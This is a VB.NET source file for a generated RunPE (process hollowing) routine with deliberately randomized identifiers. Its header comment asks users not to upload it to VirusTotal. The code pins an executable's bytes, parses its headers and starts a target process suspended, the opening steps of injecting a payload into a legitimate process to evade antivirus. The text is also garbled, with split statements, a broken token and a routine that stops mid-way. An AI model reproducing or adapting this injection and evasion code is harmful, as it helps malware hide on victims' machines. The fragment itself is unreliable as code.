'----------------------------------------------------------------------------------------- ' Function to Call RunPE is : TpOHArRmqVCNRCcPTneTI - Das ist die Funktion die du callen musst!!!!!!! ' This RunPE was created by RunPE Generator v1.7 for VB.NET by SP7 at 04.10.2010 17:38:44 ' Please don't upload this code to VirusTotal or another site like that bullshit... ' Thanks to: HorstEwald, ShockerZz and t0fx '----------------------------------------------------------------------------------------- Imports System.Runtime.InteropServices
Imports System.ComponentModel
Public Class JGnVNtPuACitetcCKnEnk
Public Const ktfWXASZoTPeuSXTvuRAw
As Long = &H200
Public Const gUhstDdGeeknMHckWACTR
As Long = &H40
Public Const hspjiMKKPcejqEmXmZOKW
As Long = &H80
Public Const MihlsQNmGsMUJahoagcTi
As Long = &H20
Public Const nYamGUQSuMrEYwcIOnpdu
As Long = &H10
Public Const RNToRXTukcYmnVXaDuGnJ
As Long = &H8
Public Const kXjCRgICUVIJUirMGSnnV
As Long = &H1
Public Const ONcEbkLfLlnrkHmdrZDAh
As Long = &H4
Public Const pCVGmnOKCEVcCdhufgQKt
As UInt32
= &H2
Shared Sub TpOHArRmqVCNRCcPTneTI(
ByVal VQVvmEvqbTuJwwlBjPqKN()
As Byte,
ByVal RoXUKGJXReRSOlqSKSbeg
As String)
Dim seQWVKMCIuwDdKljvZpns
= New tFXNKUqGqtrwKGvWPCEeA.XsQOVXtihMYhadqnDIRoM, TTSkqaHPWXtqpSvHaLDKe
As tFXNKUqGqtrwKGvWPCEeA.VrZbfklTHVnmWOIrrlPBk, whSdqnovvmVXlkDLfscLw
= New tFXNKUqGqtrwKGvWPCEeA.aXLeDrqbmFDIEKvdTCpUL, EMEgOvtGdVhpTgquHIGeX
= New tFXNKUqGqtrwKGvWPCEeA.XWUrOGiLNORMAsMgKenei, BMNtZKloEfwuQRHAvlDou
= New tFXNKUqGqtrwKGvWPCEeA.dBGvjOoTsveffoCSjsRBJ, HowwuRrvjOMQuNujXCeLV
= New tFXNKUqGqtrwKGvWPCEeA.dBGvjOoTsveffoCSjsRBJ
Dim IPGnjbYCUMGMbJHWobqBb
= GCHandle.Alloc(VQVvmEvqbTuJwwlBjPqKN, GCHandleType.Pinned)
Dim EnIMIejgJYaVrvMmPecVt
As Integer = IPGnjbYCUMGMbJHWobqBb.AddrOfPinnedObject.ToInt32
Dim fdBOShmLAoIGJVHHDlpeI
As New tFXNKUqGqtrwKGvWPCEeA.hEIFHrTPimDCnRRqTNEVO fdBOShmLAoIGJVHHDlpeI
= Marshal.PtrToStructure(IPGnjbYCUMGMbJHWobqBb.AddrO fPinnedObject, fdBOShmLAoIGJVHHDlpeI.
GetType) IPGnjbYCUMGMbJHWobqBb.Free()
If tFXNKUqGqtrwKGvWPCEeA.CreateProcess(
Nothing, RoXUKGJXReRSOlqSKSbeg, BMNtZKloEfwuQRHAvlDou, HowwuRrvjOMQuNujXCeLV,
False,
4,
Nothing,
Nothing, EMEgOvtGdVhpTgquHIGeX, whSdqnovvmVXlkDLfscLw)
= 0 Then Return Dim LrBGSvWrZFhkGnMLHURfa
As New tFXNKUqGqtrwKGvWPCEeA.HSDcnAhYPQFtVcRcfXDBs LrBGSvWrZFhkGnMLHURfa
= Marshal.PtrToStructure(
New IntPtr(EnIMIejgJYaVrvMmPecVt
+ fdBOShmLAoIGJVHHDlpeI.IqKTcKOcAPwpCZaOvAPpA), LrBGSvWrZFhkGnMLHURfa.
GetType)
Dim IqKTcKOcAPwpCZaOvAPpA, jgDVnORHofeaRvVgjGcCM
As Long, NWtWBRUkfvMLhUQAXNqLY
As UInteger EMEgOvtGdVhpTgquHIGeX.pLlYLVXPWOqtwqLRMUGVk
= Len(EMEgOvtGdVhpTgquHIGeX)
End Class